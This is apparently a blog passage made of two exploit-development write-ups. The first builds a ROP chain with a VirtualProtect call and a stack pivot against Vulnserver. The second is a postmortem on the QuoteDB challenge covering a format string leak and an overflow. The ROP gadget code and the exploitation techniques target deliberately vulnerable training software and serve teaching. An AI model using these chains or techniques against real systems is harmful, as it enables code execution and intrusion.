0:004> r @esp
esp=0115fb0c

// By calculating the difference from the original value, we see an increment of 0x104 bytes.
0:004> ? esp - 0115fa08 
Evaluate expression: 260 = 00000104

Returning back to Vulnserver, we were fortunate enough to uncover several gadgets that could help us increment the preserved stack address. This increment by the placeholder value 0x104 would guide us to the probable location of our shellcode:

0x625014d5: pop eax ; ret 
0x625016ca: neg eax ; ret
0x62501e3a: mov esi, eax ; call edi 
0x6250221c: add esi, ebx ; ret 
0x62502412: mov eax, esi ; pop esi ; pop edi ; ret 

It’s noteworthy that the third gadget ends with a call instruction. However, as we’ve illustrated earlier, this isn’t an impediment. We can artfully use the address of a gadget implementing a pop r32; ret instruction, which essentially mimics a return.

Combining all the elements, here’s a representation of how our gadget chain will look. The aim is to increment the value in EBX (which stores the address pointing to the VirtualProtect skeleton) by 0x104 bytes. The resulting address will point to the tentative shellcode location. Remember, this is an approximation. If the shellcode’s actual location differs, only a singular value will need to be adjusted.

rop += struct.pack('<L', 0x625014d5) # pop eax ; ret  
rop += struct.pack('<L', 0xfffffefc) # 0 - 0x104
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret // eax is now 0x104
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret  // esi is now ebx + 0x104
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi 

At the end of the sequence of gadgets above, the ESI register is moved back into EAX during the mov eax, esi ; pop esi ; pop edi ; ret instruction. This step is essential due to the previously highlighted gadget that can move a value into a pointer:

mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]

With EAX now storing the prospective address of the shellcode location, the next objective is to transfer this address into the VirtualProtect skeleton as the second placeholder. To achieve this, the pointer in EBX, which points to the VirtualProtect skeleton, must be incremented by 0x04 bytes.

While a common gadget like the one below is often available, it’s not the case this time:

inc r32 ; ret

// where r32 would be EBX

The earlier chain has shown how to increment a value, but using that method to increase EBX by just 0x04 bytes is cumbersome, especially when needing to do it for multiple placeholders.

Fortunately, two more fitting gadgets were uncovered:

0x62501eaf: mov  [ebx+0x04], eax ; call  [0x625070DC]
0x62501ecd: mov  [ebx+0x08], eax ; call  [0x62507104]

The first gadget can overwrite the second placeholder with EAX, while the second gadget can overwrite the third. Recalling the VirtualProtect skeleton from earlier discussions, both the second and third placeholders need the same value, the shellcode’s location. Thus, with these two gadgets, two placeholders can be filled in one go.

The call [0x625070DC] is the same instruction at the end of the gadget that originally overwrote the first placeholder with the address of the VirtualProtect stub which was held by EAX. Since this address (0x625070DC) already points to a gadget mimicking a return, no further action is needed.

Yet, the second gadget introduces yet another call to a hardcoded pointer (0x62507104). This can be handled similarly by reassigning the address this pointer points to, to mimic a return.

This simply just requires appending the following gadgets to the ‘prologue’ near the beginning of the chain:

rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x625012f7) # pop r32; ret
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x62507104) # ebx will be 0x62507104
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]  

Putting everything together, the sequence of gadges which will overwrite the second and third placeholders in the VirtualProtect skeleton will appear as such:

rop += struct.pack('<L', 0x62501eaf) # mov [ebx+0x04], eax ; call  [0x625070DC]
# ! second placeholder overwritten with ret address
rop += struct.pack('<L', 0x62501ecd) # mov  [ebx+0x08], eax ; call  [0x62507104]
# ! third placeholder overwritten with lpaddress (same as ret address)

Overriding the rest of the placeholders

Usually, as you progress deep into a gadget chain, you’ll begin to treat certain sequences of gadgets like functions, reusing them as needed. We’ll be adopting this approach for the remaining placeholders, which are as follows:

dwSize
flNewProtect
lpflOldProtect

Now that the first three placeholders are overwritten, we will need to increase EBX by 0x0C / 0n12 bytes in order to start at the fourth placeholder. Afterwards we will perform the same sequence of gadgets that was used to increase EBX by 0x104 to point to the prospective shellcode location:

rop += struct.pack('<L', 0x625014d5) # pop eax ; ret 
rop += struct.pack('<L', 0xfffffff4) # 0 - 0x0c
rop += struct.pack('<L', 0x625016ca) # neg eax ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret 
# EDI contains a pop/ret instruction in order to simulate a return when an indirect call to EDI is made in the next gadget below
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret 

Upon executing the add esi, ebx ; ret instruction, ESI now points to the third placeholder in the skeleton, leaving EBX unmodified. This poses a problem since the only available gadget for inserting a DWORD into a pointer specifically mandates EBX as the destination operand. Yet, reflecting back on a previous section, a similar obstacle was encountered and successfully navigated using the following gadget sequence:

rop += struct.pack('<L', 0x62501a9d) # mov  [esp+0x00], eax ; call  [0x62507124]
rop += struct.pack('<L', 0x41414141) # junk will be overwritten by [esp + 0x00]

Here, the memory address 0x62507124 is pointing to an address of a gadget that essentially mimics the mov ebp, eax ; ret instruction. Prior to utilizing this gadget, it’s necessary to move ESI into EAX. Conveniently, a gadget is on hand to accomplish this:

0x62502412: mov eax, esi ; pop esi ; pop edi ; ret

With EBX now directing to the third placeholder within the skeleton, the remaining task involves replacing the placeholders in the skeleton with their appropriate values. Given that all the necessary gadgets to accomplish this have been previously outlined, the details will be skipped here for the sake of conciseness.

Stack Pivot

Finally, with the skeleton completely constructed, the next step is to shift the stack to target the beginning of the skeleton, thereby initiating the VirtualProtect call. However before doing so, this is the moment to set a breakpoint at the end of the gadget chain and verify that both the second and third placeholders point to the shellcode. If they don’t align, simply adjust the offset.

To execute a stack pivot, several commonly used gadgets might come into play:

Note: In the context below, r32 represents the register that targets the beginning of the VirtualProtect skeleton.

push r32
pop esp
...
ret

mov esp, r32
...
ret

xchg r32, esp // xchg esp, r32
...
ret

xor esp, esp / sub esp, esp
or esp, r32
...
ret

Luck doesn’t always favor, and this is evident when sifting through the gadgets; however, several instances of the leave ; ret gadget are discovered.

Within the x86 architecture, the leave instruction is commonly found used in the __stdcall calling convention. This convention is where the callee is responsible for stack cleanup, an operation often referred to as the function epilogue.

To clarify, the leave instruction emulates the following instructions:

mov esp, ebp
pop ebp

For effective use of the leave instruction, it’s essential to transfer the pointer, which points to the start of the VirtualProtect skeleton, to EBP. Notably, the register EBX currently holds this pointer. The challenge arises from the absence of direct gadgets that could transfer from EBX to EBP. Nevertheless, during the search, an instrumental gadget emerges:

0x625017c0: mov ebp, eax ; call  [0x625070E8]

Breaking down how this gadget will be used:

The initial step is transferring EBX to EAX, though no direct gadget facilitates this action. A slight workaround is considered since it’s known that EBX can be moved into to ESI via the add esi, ebx gadget, and ESI can then be moved into EAX.

The involves leveraging the mov ebp, eax ; call [0x625070E8] gadget to trigger the leave ; ret instruction. This is achieved by redirecting the 0x625070E8 pointer to insead point to a gadget which is the leave ; ret command.

This requires an additional pointer overwrite addition at the start of the gadget chain, as shown below:

rop += struct.pack('<L', 0x625014d5) # pop eax ; ret
rop += struct.pack('<L', 0x62501573) # leave ; ret (will be important for stack pivot at end)
rop += struct.pack('<L', 0x625014fc) # pop ebx ; ret
rop += struct.pack('<L', 0x625070E8) # ebx will be 0x625070E8
rop += struct.pack('<L', 0x62501ea9) # mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 

Ultimately, the goal is to move the pointer to the VirtualProtect skeleton from EBX into EAX. Notably, EBX is currently pointing to the fourth DWORD within the VirtualProtect skeleton, therefore requiring an adjustment.

Before making any modifications, it’s crucial to consider the following specific scenario. As outlined earlier, when EBP gets moved into ESP, the leave instruction will then pop a DWORD off the stack into EBP. If the topmost value on the stack at that time happens to be the VirtualProtect address, it will be moved into EBP, thereby completely destroying the entire gadget chain.

Provided below is a demonstration of what would happen, please keep in mind that the leave instruction was substituted for the more explicit mov esp, ebp ; pop ebp instructions:

62501573  mov esp, ebp

> dds ebp L6
00f4f228  766d5c80  // VirtualProtect Address
00f4f22c  00f4f2e8  // ret address
00f4f230  00f4f2e8  // lpAddress
00f4f234  00000001  // dwSize  
00f4f238  00000040  // flNewProtect
00f4f23c  625070e4  // lpflOldProtect

// step through mov esp, ebp instruction

62501575  pop ebp

> dds esp L1
00f4f228  766d5c80  // VirtualProtect Address

// step through pop ebp instruction

0:003> dds esp L1
00f4f22c  00f4f2e8

// observe that ESP does not point to the VirtualProtect address anymore

The remedy to this situation is to adjust EBX so that it doesn’t point directly to the beginning of the skeleton. Instead, it should target one DWORD prior to the skeleton’s start. This way, that particular DWORD serves as the sacrificial entry that gets popped into EBP. Here is another demonstration of how this would now work instead:

62501573  mov esp, ebp

> dds ebp L7
00f4f224  00000000
00f4f228  766d5c80  // VirtualProtect Address
00f4f22c  00f4f2e8  // ret address
00f4f230  00f4f2e8  // lpAddress
00f4f234  00000001  // dwSize  
00f4f238  00000040  // flNewProtect
00f4f23c  625070e4  // lpflOldProtect

// step through mov esp, ebp instruction

62501575  pop ebp

> dds esp L1
00f4f224  00000000

// step through pop ebp instruction

0:003> dds esp L1
00f4f228  766d5c80

// observe that ESP does point to the VirtualProtect address

Lastly the following sequence of gadgets that will adjust EBX to point to the start of the VirtualProtect skeleton - 0x04, move the pointer into EAX and execute the stack pivot:

rop += struct.pack('<L', 0x625014d5) # pop eax ; ret 
rop += struct.pack('<L', 0xfffffff0) # 0 - 0x10
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501afb) # pop edi ; ret
rop += struct.pack('<L', 0x62501e3a) # mov esi, eax ; call edi
rop += struct.pack('<L', 0x6250221c) # add esi, ebx ; ret
rop += struct.pack('<L', 0x62502412) # mov eax, esi ; pop esi ; pop edi ; ret
rop += struct.pack('<L', 0x41414141) # junk for esi
rop += struct.pack('<L', 0x41414141) # junk for edi 
# ! EAX now points to start of skeleton
rop += struct.pack('<L', 0x625017c0) # mov ebp, eax ; call  [0x625070E8]

Conclusion

Writeups on complex topics like this can be challenging to grasp without trying them out firsthand.

The final ROP chain can be found in the following gist: https://gist.github.com/m-q-t/4eb78075e708dc0ec51f93a96964ee9b

Thanks for reading.

QuoteDB Exploit Challenge - Trials & Tribulations

Tue, 27 Jun 2023 00:00:00 +0000

Preface

The point of this blog post is to provide a postmortem highlighting some of the mistakes which were encountered while solving the QuoteDB challenge which can be found in the following Github Repo.

Mistake #1 - Misunderstanding Format String Vulnerabilities

The application includes a get_quote feature, which enables the client to input a quote index, triggering a response from the server with the corresponding quote. An initial call to the get_quote() function can be discovered at main + 0xEF6. A detailed examination of the function’s disassembly reveals a call to _snprintf():

.text:0131158E mov     eax, [ebp+arg_0]
.text:01311591 shl     eax, 0Bh
.text:01311594 lea     edx, _quotes[eax]
.text:0131159A mov     eax, [ebp+arg_4]
.text:0131159D mov     eax, [eax]
.text:0131159F mov     [esp+8], edx    ; Format
.text:013115A3 mov     dword ptr [esp+4], 800h ; BufferCount
.text:013115AB mov     [esp], eax      ; Buffer
.text:013115AE call    _snprintf

What stands out in this specific instance of snprintf() invocation is the absence of any additional arguments passed to the function, coupled with the eventual discovery that the format string specifier could be controlled by the attacker. These two factors (mostly the latter) together render this call a potent hotspot for a format string vulnerability.

As mentioned above, the format string specifier can contain attacker controlled input. To explain how this happens, it’s worth stepping back for a second. Apart from the get_quote functionality, the application offers the following additional functionalities:

add_quote
update_quote
delete_quote

To understand what’s being passed to the snprintf() call, let’s do two things, the first is examining the snprintf() function prototype:

int snprintf ( char * s, size_t n, const char * format, ... );

The second is examining the stack at the time of the call to learn more about the arguments:

(Note: In this example, a packet was sent to instruct the application to read the quote that is associated with index 1)

main+0x15ae:
00b715ae e8fd150000      call    main!main+0xd27 (00b72bb0)
0:002> dds esp L3
01db7390  015b4648
01db7394  00000800
01db7398  00b80280 main!main+0xe3f7

Using the function signature above, the arguments can be identified:

0x015b4648 => destination buffer
0x800 => size of copy
0x00b80280 => format string pointer

Displaying the ASCII contents of the format string pointer shows the following:

0:002> da 0x00b80280
00b80280  "Give a man a mask and he'll tell"
00b802a0  " you the truth. - Oscar Wilde"

Stepping over the snprintf() call, and displaying the contents of the destination buffer shows it was overwritten with the string:

0:002> db 0x015b4648
015b4648  47 69 76 65 20 61 20 6d-61 6e 20 61 20 6d 61 73  Give a man a mas
015b4658  6b 20 61 6e 64 20 68 65-27 6c 6c 20 74 65 6c 6c  k and he'll tell
015b4668  20 79 6f 75 20 74 68 65-20 74 72 75 74 68 2e 20   you the truth. 
015b4678  2d 20 4f 73 63 61 72 20-57 69 6c 64 65 00 ad ba  - Oscar Wilde...

Let’s now introduce a modified packet that will reassign the quote at index 1 to a format specifier by leveraging the update_functionality mentioned earlier - in this case, updating the quote to include three %p specifiers which should return three hex values.

After sending the packet which instructs the application to update the quote, let’s retrigger the get_quote() functionality and examine the stack at the time of the call to snprintf():

main+0x15ae:
00b715ae e8fd150000      call    main!main+0xd27 (00b72bb0)
0:002> dds esp L3
021b7564  015b4e60
021b7568  00000800
021b756c  00b80280 main!main+0xe3f7

Displaying the ASCII contents of the format string specifier reveals:

0:002> da 00b80280 
00b80280  "%p %p %p"

This validates the hypothesis that an attacker is capable of controlling the format string specifier. Following this, let’s take a closer look what is written to the destination buffer after stepping over the snprintf() call:

0:002> db 015b4e60
015b4e60  37 37 30 61 36 36 62 30-20 30 30 30 30 30 33 38  770a66b0 0000038
015b4e70  35 20 30 30 62 37 31 37-33 62 00 ba 0d f0 ad ba  5 00b7173b......

The output clearly reveals that three DWORD values have been written into the destination buffer. This confirms the successful exploitation of the format string vulnerability. Subsequently, the contents of the destination buffer are sent back to the client, which further enhances the value of this read primitive, at the application has been compiled with Address Space Layout Randomization (ASLR).

Should there be any curiosity regarding the potential of this snprintf() invocation to overwrite a return address, or possibly an SEH record, it is noteworthy to mention that it cannot. The reason being, the destination buffer’s address resides in the Heap, making it significantly distant, especially considering the 0x800 maximum read size constraint.

One last interesting side-note to mention before diving deeper into the rabit hole…

The usage of the snprintf() in this scenario is incorrect (obviously on purpose as this is intended to be a vulnerable challenge). Rather than calling snprintf() in the following way:

snprintf(buffer, 0x800, quote_string_pointer)

snprintf() instead should have been called like this:

snprintf(buffer, 0x800, "%s", quote_string_pointer)

Also in case you’re wondering why snprintf() was used (apart from it being part of the vulnerable challenge), instead of a function that’s designed to copy strings such as strcpy()/strncpy() is most likely because:

snprintf() will null-terminate the output string automatically. strncpy() however will not null terminate the string if the source string is greater than or equal to the number of characters to be copied.
snprintf() will not truncate the copy operation if a null byte is encountered in the source string (making this beneficial for an attacker as 0x00 will not be considered a bad character in this specific scenario.

Write-Primitive Rabbit Hole

While the format string vulnerability can be leveraged to read arbitrary values from the stack, in some rare exceptions it can also be used to write values to memory addresses via the %n specifier.

As there are a countless number of resources explaining how this works, it will not be covered in this post. Instead, a rabbit hole involving the write-primitive aspect of the format string vulnerability will be discussed.

After achieving the read-primitive, the next logical step was to test whether a write-primitive would be possible. The majority of modern compilers will disable the %n format specifier due to it being considered a security risk thus making the write-primitive an exception rather than the norm.

As such, a quote was written to the database containing the following contents:

w00tw00t%n

If successfully evaluated, this will result in the writing the amount of characters before the format specifier (in this case w00tw00t is 0x08) to the argument (which in this case will be the next value on the stack).

After triggering the get_quote functionality and stepping through the snprintf() call, an Access Violation occurs:

(188c.1cf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=770a66b0 ebx=0000006e ecx=00000008 edx=00b8028a esi=00b80289 edi=ffffffff
eip=00b77549 esp=025b7180 ebp=025b7228 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
main!main+0x56c0:
00b77549 8908            mov     dword ptr [eax],ecx  ds:0023:770a66b0=8b55ff8b

What’s particularly interesting about this exception is that the ECX register is attempting to write 0x08 to the contents of a memory address stored in EAX.

Does the value of ECX look familiar? It should as that’s the length of the w00tw00t string thus confirming that the %n format specifier is not disabled.

The next step would be specific in context of the Operating System the vulnerable application is running in, for example if this was Linux, an entry in the GOT (Global Offset Table) would be overwritten to achieve exploitation. As this application is running on Windows, the next logical step would be to overwrite a return address to instruct the application to jump to the shellcode.

However, a critical problem that is promptly detected is the fact that the arguments passed to the snprintf() function are never referenced on the stack. This single fact obstructs the capability to write to any chosen arbitrary memory address. Instead, the ensuing impact will manifest in the form of a denial-of-service (by using the %n specifier to instigate an access violation resulting in a crash).

Diving deeper into this issue, when examining the disassembly associated with snprintf(); under-the-hood it is discovered that a call vsnprintf() is made:

.text:00B72BB0 public _snprintf
.text:00B72BB0 _snprintf proc near
.text:00B72BB0
... args ... 
.text:00B72BB0
.text:00B72BB0 ; __unwind { // 990000
.text:00B72BB0 sub     esp, 1Ch
.text:00B72BB3 lea     eax, [esp+1Ch+arg_C]
.text:00B72BB7 mov     [esp+1Ch+ArgList], eax ; ArgList
.text:00B72BBB mov     eax, [esp+1Ch+Format]
.text:00B72BBF mov     [esp+1Ch+var_14], eax ; Format
.text:00B72BC3 mov     eax, [esp+1Ch+BufferCount]
.text:00B72BC7 mov     [esp+1Ch+var_18], eax ; BufferCount
.text:00B72BCB mov     eax, [esp+1Ch+Buffer]
.text:00B72BCF mov     [esp+1Ch+var_1C], eax ; Buffer
.text:00B72BD2 call    _vsnprintf <------------ here
.text:00B72BD7 add     esp, 1Ch
.text:00B72BDA retn

This implies that snprintf() essentially behaves as a “wrapper” for vsnprintf(), performing preliminary tasks such as setting up the va_list type. This practice is common in the implementation of variadic functions in C.

Before going further, let’s get familiar with the function prototype for vsnprintf():

int vsnprintf(char *str, size_t size, const char *format, va_list ap);

Let’s set a breakpoint on the vsnprintf() call (aka main + 0xd49) and examine the arguments passed to vsnprintf() via the stack:

0:003> dds esp L4
01eb70e4  018b3618    // dest
01eb70e8  00000800    // size
01eb70ec  01320280    // format specifier
01eb70f0  01eb7110    // arguments

The string format specifier pointer in this case is just referencing a set of %p specifiers:

0:003> da 01320280
01320280  "%p %p %p %p %p %p %p %p %p %p %p"
013202a0  " %p %p %p"

When examining the arguments pointer (aka va_list type), it appears to be an array of DWORD values:

0:003> dd 01eb7110
01eb7110  770a66b0 00000385 0131173b 01ebf97c
01eb7120  013118fb 00000001 01eb7944 00004000
01eb7130  00000000 00000000 00000000 00000000

Do the values look familiar? They should as these are the values which were pulled from the stack using the read primitive showcased earlier in the post. So what’s interesting is that by the time the application reaches the vsnprintf() call, the values have already been pulled from the stack.

Furthmore none of the values in the arguments buffer reference the format string specifier like you would typically see. Let’s step back to the initial snprintf() call (before the subsequent call to vsnprintf() is made) and examine the stack at the time of the call:

Displaying 0x100/0n256 entries on the stack shows:

0:003> dds esp L100
022b7680  018b3e30
022b7684  00000800
022b7688  01320280 main!main+0xe3f7
022b768c  770a66b0 msvcrt!_threadstart
022b7690  00000385
022b7694  0131173b main+0x173b
022b7698  022bfef8
022b769c  013118fb main+0x18fb
022b76a0  00000001
022b76a4  022b7ec0
022b76a8  00004000
022b76ac  00000000
022b76b0  00000000
<snipped for brevity all 0x00000000>
022b7a78  00000000
022b7a7c  00000000

As shown in the arguments buffer examined in the earlier vsnprintf() call, the values from the stack start being copied starting from 0x022b768c and onwards. Though again what’s interesting here is that the format string specifier is no where referenced on the stack. When the __cdecl calling convention is used to invoke a function, all the arguments are passed onto the stack thus in the context of format string vulnerabilities, this can be referred to as “writing” a value onto the stack.

In order to test if this is normal behavior, a simple C program was compiled into a PE32 executable:

#include <stdio.h>

int main() {
	char password[100];
	fgets(password, sizeof(password), stdin);

	char buffer [100];
	snprintf(buffer, 100, password);
}

This program basically replicates the same string formatting vulnerability.

Setting a breakpoint on the snprintf() call and sending the following input string which will be then treated as a format specifier:

%p %p %p %p %p %p %p %p %p

The breakpoint is then invoked and when dumping the values from the stack, the following is revealed:

0:000> dds esp L28
0061fdd0  0061fde8    // dst
0061fdd4  00000064    // size
0061fdd8  0061fe4c    // src
<snipped for brevity>
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
0061fe60  20702520
0061fe64  000a7025
0061fe68  ffffffff
0061fe6c  00000030

Starting from 0x0061fe4c and onwards, a pattern is seen and this turns out to the be the format specifier string being referenced on the stack:

0061fe4c  25 70 20 25 70 20 25 70-20 25 70 20 25 70 20 25  %p %p %p %p %p %
0061fe5c  70 20 25 70 20 25 70 20-25 70 0a 00 ff ff ff ff  p %p %p %p......

So now the question that’s been left to ponder is why in the first example, the format specifiers are not being referenced on the stack thus preventing an attacker from leveraging a write primitive; while in the second case they are being referenced?

Cracking the Code

In order to answer the question, it helps to review the source code of the vulnerable application which can be found on Github

Specifically, let’s focus on the implementation of the get_quote() function:

int get_quote(int index, char **quote)
{
    printf("[?] Getting quote #%d from db...\n", index);
    snprintf(*quote, QUOTE_SIZE, quotes[index]);
    return strlen(quotes[index]);
}

As shown above, the function takes two arguments in which the first is an index of type int while the second is a double pointer to a char.

Upon evaluating the snprintf() function invocation, the first argument is obtained by dereferencing the double pointer, yielding a pointer to the char that serves as the destination buffer. Following this, QUOTE_SIZE, a predefined constant equating to 2048 bytes, is provided as the maximum buffer size. Lastly and arguably the most important, the pointer to the format string specifier (which can be controlled by an attacker) is fetched from the quotes array which is a global variable.

Returning back to the test program that was written to test whether the contents of the format string specifier would be referenced on the stack:

#include <stdio.h>

int main() {
	char password[100];
	fgets(password, sizeof(password), stdin);

	char buffer [100];
	snprintf(buffer, 100, password);
}

As shown in the earlier section, when sending the contents of %p %p %p %p %p %p %p, it would be referenced on the stack:

0:000> dds esp L28
0061fdd0  0061fde8    // dst
0061fdd4  00000064    // size
0061fdd8  0061fe4c    // src
<snipped for brevity>
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
0061fe60  20702520
0061fe64  000a7025
0061fe68  ffffffff
0061fe6c  00000030

After further review, my initial understanding of how the format string functions worked under-the-hood is wrong.

The reason the contents of the format string specifier are seen on the stack in the second example is because it can be considered “residue” from the earlier fgets() call which initially takes the input via stdin and stores it in a buffer.

Here’s proof of how this behavior works, the first step is to set a breakpoint at the instruction right after the fgets() call and examine the stack:

Breakpoint 0 hit
004015fc 8d44247c        lea     eax,[esp+7Ch]

0:000> dds esp L24
<snipped for brevity>
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070

Notice at address 0x0061fe4c and onwards this contains the input sent to stdin aka %p %p %p %p %p %p %p %p %p.

Now let’s set a breakpoint on the snprintf() call and resume execution until the breakpoint is triggered and then re-examine the stack:

Breakpoint 1 hit
004015c2 e8a9ffffff      call    output2+0x1570 (00401570)

0:000> dds esp L30
<snipped for brevity>
0061fe4c  25207025
0061fe50  70252070
0061fe54  20702520
0061fe58  25207025
0061fe5c  70252070
0061fe60  20702520
0061fe64  25207025
0061fe68  70252070

Again we notice the “contents” of the format string specifier being referenced on the stack. However upon closer observation of the stack addreses, one will observe that they’re the same addresses which were shown after the fgets() call. In other words - snprintf() never wrote these values to the stack, it was the fgets() call!

Now returning back to the original QuoteDB application, let’s re-examine how snprintf() is invoked one last time:

snprintf(*quote, QUOTE_SIZE, quotes[index]);

Specficially quotes[index] is of most interest. So the reason in this case we don’t see the contents of the format string specifier referenced on the stack (as in the other example) is because the quotes array is an array of strings and as it’s a global variable, it lives in the data segment. Furthermore another pressing reason is because it takes two packets in order to trigger the format string vulnerability:

Packet #1 - Add/overwrite quote to contain format string specifier
Packet #2 - Invoke get_quote functionality

Each individual packet is handled by a separate thread, so by the time the get_quote functionality is triggered, it’s entirely in a new thread which has it’s own stack!

In summary, the ability to exploit a write primitive in a format string vulnerability depends on the method through which the format specifier is introduced into the respective format string function call.

Mistake #2 - Ignoring application functionality

During the process of learning how the QuoteDB application behaves, it is discovered that is based on the opcode pattern where the packet contains a certain value that will influence how the application will behave next.

When the application receives an opcode, it will then invoke a jumptable which will determine which path to take. In the case where the opcode is invalid (meaning it doesn’t meet any of the jumptable cases), it will instead reach the ‘default case’ which is the following basic block:

.text:01311A85 def_1311862:            ; jumptable 01311862 default case
.text:01311A85 lea     eax, [ebp+buf]
.text:01311A8B add     eax, 4
.text:01311A8E mov     [esp], eax      ; Src
.text:01311A91 call    _log_bad_request
.text:01311A96 mov     eax, [ebp+var_28]
.text:01311A99 mov     [esp], eax      ; Str
.text:01311A9C call    _strlen
.text:01311AA1 mov     [ebp+Size], eax
.text:01311AA4 mov     eax, [ebp+var_28]
.text:01311AA7 mov     [esp], eax      ; Str
.text:01311AAA call    _strlen
.text:01311AAF mov     [esp+8], eax    ; Size
.text:01311AB3 mov     eax, [ebp+var_28]
.text:01311AB6 mov     [esp+4], eax    ; Src
.text:01311ABA lea     eax, [ebp+var_8034]
.text:01311AC0 mov     [esp], eax      ; void *
.text:01311AC3 call    _memcpy
.text:01311AC8 nop

As shown by the disassembly above, this basic block invokes a number of functions that deal with string operations and copying memory such as calls to strlen() and memcpy().

The one vital mistake I made here was completely ignoring this block due to the presence of the _log_bad_request() function which immediately turned off any “hope” for exploitation. After stumbling with the format string write primitive rabbit hole for a couple days, I finally decided to revisit this basic block as it was the only section left which wasn’t thoroughly explored.

Specifically the curiousity was focused on how the _log_bad_request() function behaved under-the-hood. Before diving deeper into the disassembly of the function, it is worth examining the arguments passed to the function by examining the stack at the time of the call.

In this case, it’s only a single argument and most likely a pointer to a buffer due to the fact that the LEA instruction is used to load the address of the argument before it pushed onto the stack.

0:003> dds esp L1
01f66f80  01f6b7ac

0:003> db 01f6b7ac
01f6b7ac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7bc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7cc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7dc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Our hunches are correct and in this case it turns out to be a pointer referencing our user-input.

Now let’s dive deeper into the disassembly of _log_bad_request():

.text:013116D3 public _log_bad_request
.text:013116D3 _log_bad_request proc near
.text:013116D3
.text:013116D3 var_808= byte ptr -808h
.text:013116D3 Src= dword ptr  8
.text:013116D3
.text:013116D3 ; __unwind {
.text:013116D3 push    ebp
.text:013116D4 mov     ebp, esp
.text:013116D6 sub     esp, 818h
.text:013116DC mov     dword ptr [esp+8], 800h ; Size
.text:013116E4 mov     dword ptr [esp+4], 0 ; Val
.text:013116EC lea     eax, [ebp+var_808]
.text:013116F2 mov     [esp], eax      ; void *
.text:013116F5 call    _memset
.text:013116FA mov     dword ptr [esp+8], 4000h ; Size
.text:01311702 mov     eax, [ebp+Src]
.text:01311705 mov     [esp+4], eax    ; Src
.text:01311709 lea     eax, [ebp+var_808]
.text:0131170F mov     [esp], eax      ; void *
.text:01311712 call    _memcpy
.text:01311717 call    _GetCurrentThreadId@0 ; GetCurrentThreadId()
.text:0131171C mov     edx, eax
.text:0131171E lea     eax, [ebp+var_808]
.text:01311724 mov     [esp+8], eax
.text:01311728 mov     [esp+4], edx
.text:0131172C mov     dword ptr [esp], offset aDInvalidReques ; "....[%d] invalid request=%s\n"
.text:01311733 call    _printf
.text:01311738 nop
.text:01311739 leave
.text:0131173A retn

As seen above, this function primarily also appears to deal with operations involving copying memory as denoted by the calls to the memset() and memcpy() functions making this a potential target for an overflow.

Primarily it appears to be initializing the contents of a memory region to consist of 0x800 null bytes as indicated in the following instructions:

.text:013116DC mov     dword ptr [esp+8], 800h ; Size
.text:013116E4 mov     dword ptr [esp+4], 0 ; Val
.text:013116EC lea     eax, [ebp+var_808]
.text:013116F2 mov     [esp], eax      ; void *
.text:013116F5 call    _memset

To maybe get a better understanding, it helps to examine the prototype of the memset() function:

void * memset ( void * ptr, int value, size_t num );

Using the disassembly above, we can see that the psuedocode would look like the following:

memset(ptr, 0x00, 0x800)

Afterwards a memcpy() call is invoked, most likely using the memory region which was initalized via the memset() call. Let’s set a breakpoint and explore the memcpy() call in closer detail. Before examining the arguments on the stack, it will be useful to examine the memcpy() function prototype:

void * memcpy ( void * destination, const void * source, size_t num );

Now it is time to examine the next three values on the stack:

0:003> dds esp L3
01f66760  01f66770    // dst
01f66764  01f6b7ac    // src
01f66768  00004000    // size

As the goal of this exercise is to acheive active exploitation via an overflow, the next logical step would be to compare the distance between the address of the destination buffer and the pointers which hold the return addresses.

However before going further, it is helpful to examine the contents the source buffer is referencing and ensure it is values under the attacker’s control:

0:003> db 01f6b7ac
01f6b7ac  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7bc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
01f6b7cc  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

To discover the pointers which hold the return addresess, the call stack can be viewed:

 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
01f66f78 01311a96 main+0x1712
01f6f7d8 770a6639 main+0x1a96
01f6f814 770a6711 msvcrt!_callthreadstart+0x25
01f6f81c 76da9564 msvcrt!_threadstart+0x61
01f6f830 7773293c KERNEL32!BaseThreadInitThunk+0x24
01f6f878 77732910 ntdll!__RtlUserThreadStart+0x2b
